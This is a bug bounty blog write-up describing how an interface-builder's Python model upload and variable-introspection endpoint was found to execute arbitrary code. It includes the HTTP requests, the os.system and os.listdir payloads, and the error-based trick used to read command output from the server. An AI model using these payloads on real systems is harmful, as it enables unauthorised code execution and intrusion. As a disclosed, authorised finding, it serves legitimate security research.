• Twitter
  • FB
  • Github
  • Youtube

Wednesday, January 6, 2021

Achieving Remote code execution by exploiting variable check feature

 


Greetings everyone, this is Shawar Khan and this is the first write-up of 2021 so pretty excited to share this discovery with you people. Recently, while hunting on Synack I came across a program having a quality rule so my focus was on finding something unique and better quality. I'll refer the target as redacted.com.

 The application was some kind of interface builder and allowed uploading of files such as .py , .txt , .ctx2 and some others which were further used for building a template for interface builder. There were some file upload areas where the template can be uploaded such as the one below:

 

 

Model files having .py, .ctx2 and .txt extensions.

The model section allowed uploading of such extensions having any content. Opening the file directly does not show any kind of execution. However, if the Interface Builder is accessed which is located at https://redacted.com/endpoint/builder/#/author1/testpriject8 the application asks for a model to be loaded. 

I was thinking that this isn't common to see a .py extension being allowed. During these kind of scenario, what I mostly try is to know how the application is processing these files and what are the things which we can control to achieve something and to get something that's normally not possible.

I captured the request that makes changes to the uploaded python model file so I can try to make changes and see results in repeater:

POST /endpoint/author1/testpriject8/model/new-file HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

projectPath=author1%2Ftestpriject8&category=model&directoryPath=&name=test.py&blob=pythoncontent



The blob parameter was holding content of the model file so I kept this request in the repeater. So, after navigating to Interface Builder and selecting my python model file, I noticed a request being made to https://redacted.com/v2/model/introspect/author1/testpriject8/test.py

This was the request sent after selecting test.py model file so after checking the response of this GET request, I got the following response:

HTTP/1.1 200 OK
Server: openresty/1.19.3.1
Date: Mon, 07 Dec 2020 15:31:55 GMT
Content-Type: application/json
Content-Length: 49
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Authorization, Content-Type, Range, X-Autorestore, X-Forio-Confirmation, X-Timeout
Access-Control-Expose-Headers: Content-Range, Content-Type, Range, X-Forio-Redirect
Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, no-store

{"functions":null,"ranges":null,"variables":null}



This was something weird as it returned a JSON response having the words functions, ranges and variables set to null. I guessed this was null as none of them exists in my file content which was submitted as pythoncontent


What I tried next was uploading a python file having the following content s=1337 and the application sent the following response:

{
    "variables": [
        {
            "access": "ALWAYS", 
            "ranges": null, 
            "saved": false, 
            "dataType": "NUMBER", 
            "units": null, 
            "name": "s", 
            "formula": null, 
            "maximum": null, 
            "comment": null, 
            "minimum": null
        }
    ], 
    "functions": null, 
    "ranges": null
}



Till this point I was sure that this was a variable extraction feature. What this was doing is extracting all the available variables, functions and ranges from an uploaded python file and was using them for further processing of a template model. 


I tried using a code which makes a reference to woot variable which didn't exist in a code. So I sent the value of blob as blob=print(woot) and got the following response:

{
    "type": "python", 
    "message": "NameError: name 'woot' is not defined", 
    "trace": [
        {
            "line": 68, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/REDACTED/worker/python/python_worker.py", 
            "function": "load_model"
        }, 
        {
            "line": 55, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/REDACTED/worker/abstract_worker.py", 
            "function": "load_module"
        }, 
        {
            "line": 37, 
            "type": "python", 
            "file": "/usr/lib/python2.7/importlib/__init__.py", 
            "function": "import_module"
        }, 
        {
            "line": 1, 
            "type": "python", 
            "file": "/home/user/model/REDACTED/test.py", 
            "function": "module"
        }
    ], 
    "information": {
        "code": "MODEL_INITIATION", 
        "runKey": "REDACTED"
    }
}

This was a python exception caused due to no declaration of woot variable and this is the same exception that is returned when a command such as print(woot) is used in a python console:


At this point I was sure my code is being executed but after some tests I knew there were some conditions on which the input is executed. If the application contains any variables or something and there are no exceptions, the application returns all the available variables and data. But if the application contains any exception, it is returned instead of the results.

Now what I needed to do was to get an exception that will have any of my command. I tried using the following code to see if I can execute it:

import os
os.system('ls')


uploading this code and making a request to https://redacted.com/v2/model/introspect/author1/testpriject8/test.py returned the following response:

{
    "variables": [
        {
            "access": "ALWAYS", 
            "ranges": null, 
            "saved": false, 
            "dataType": "OBJECT", 
            "units": null, 
            "name": "os", 
            "formula": null, 
            "maximum": null, 
            "comment": null, 
            "minimum": null
        }
    ], 
    "functions": null, 
    "ranges": null
}


This confirmed the command was executed blindly but as this was an object, it was returned as JSON response so I had to obtain data somehow. As the last step the application does is returning all the data after executing it. I tried to make an exception that returns the result of an executed command. By converting an output of a command to string using str() and by converting it to integer using int() the application will cause a ValueError that will return the result of an executed command.


I made the following request having blob set to blob=import+os;int(str(os.listdir('/etc/'))) which will list all the files/dirs under /etc/ directory and converted the output to string and integer:

sadfas


POST /endpoint/author1/testpriject8/model/edit/test.py HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

projectPath=author1%2Ftestpriject8&category=model&filePath=%2Ftest.py&blob=import+os;int(str(os.listdir('/etc/')))

 

And now after making a request to Introspect endpoint, I got the following response:

{
    "type": "python", 
    "message": "ValueError: invalid literal for int() with base 10: \"['rc2.d', 'gai.conf', 'ld.so.cache', 'issue', 'rc0.d', 'bindresvport.blacklist', 'default', 'update-motd.d', 'rmt', 'group', 'gshadow', 'deluser.conf', 'machine-id', 'ld.so.conf.d', 'profile', 'skel',\"", 
    "trace": [
        {
            "line": 68, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/redacted/worker/python/python_worker.py", 
            "function": "load_model"
        }, 
        {
            "line": 55, 
            "type": "python", 
            "file": "/usr/local/lib/python2.7/dist-packages/redacted/worker/abstract_worker.py", 
            "function": "load_module"
        }


Command executed! and the output was rc2.d', 'gai.conf', 'ld.so.cache', 'issue', 'rc0.d', 'bindresvport.blacklist', 'default', 'update-motd.d', 'rmt', 'group', 'gshadow' which were the available files in /etc/ of the vulnerable application.


I submitted the best quality report to Synack and won the quality with 3/3 stars. However I asked for permission for further exploitation but was denied so I didn't proceeded further. 



Whenever you are testing an application for such issues, always try to understand how the application is handling user provided data. There might be multiple endpoints that performs different tasks on an uploaded files such as the one in this case was checking for variables but was blindly executing arbitrary commands without any errors or outputs. 

There were some other vulnerabilities identified as well which could be chained with this and could allow any unauthenticated user to perform this RCE. However, due to lack of time I wasn't able to make it up to that exploit.

If you like this write-up, Share!

0 comments:

Post a Comment

Note: Only a member of this blog may post a comment.

Want to contact?

Get in touch with me